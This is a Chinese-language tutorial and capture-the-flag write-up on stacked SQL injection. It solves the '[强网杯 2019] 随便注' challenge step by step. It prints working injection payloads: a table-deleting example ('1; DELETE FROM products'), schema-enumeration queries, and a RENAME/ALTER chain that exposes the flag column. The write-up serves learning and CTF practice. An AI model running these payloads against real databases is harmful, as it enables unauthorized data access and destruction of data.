sql 注入 - 堆叠注入
0x01 原理
在 SQL 中,分号(;)是用来表示一条 sql 语句的结束。试想一下我们在;结束一个 sql 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 union injection
(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union
或者 union all
执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products
服务器端生成的 sql 语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
0x01 ctf 题目测试
题目:[强网杯 2019] 随便注
0X11
首先测试常规 union
注入
输入 1
有回显
输入 1'
报错
输入 1'#
有回显,说明存在 sql 注入
输入 1' order 2#
有回显,但是 1' order 3#
无回显,说明有两列输出
输入 1' and 1=2 union select version(),database()#
,显示
说明被限制权限,常规办法用不了
0x12
那就是堆叠注入了
输入 1';show databases; #
, 回显正常,存在堆叠注入
输入 1';show tables; #
, 爆出两个表,”1919810931114514” 和 “words”
判断网页连接的是哪张表
输入 1'; show columns from `words`;#
发现有两个字段
而 1'; show columns from `1919810931114514`;#
只有一个字段,并且是”flag”
结合 0x11 里得出的两个字段,也就是两个列,所以得出结论,网页连接的是”words” 表,并且是字段”id”,在 0x11 里我们知道了后台限制了权限,但是并没有限制 “alert” 和 “rename”,那么我们是不是可以把表改个名字,再给列改个名字呢。先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id。
我们输入 1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100);show columns from words;#
(不懂得可以去查 sql 语法)。
最后输入 1' or '1'='1
强制语句正确,得到 flag
最后说明一下 “‘“ 和 “`” 的区别
linux 下不区分,windows 下区分
区别:
单引号 (‘) 或双引号主要用于字符串的引用符号
eg:mysql> SELECT ‘hello’, “hello” ;
反勾号 (`) 主要用于数据库、表、索引、列和别名用的引用符是 [Esc 下面的键]
eg:`mysql>SELECT * FROM `table` WHERE `from` = ‘abc’ ;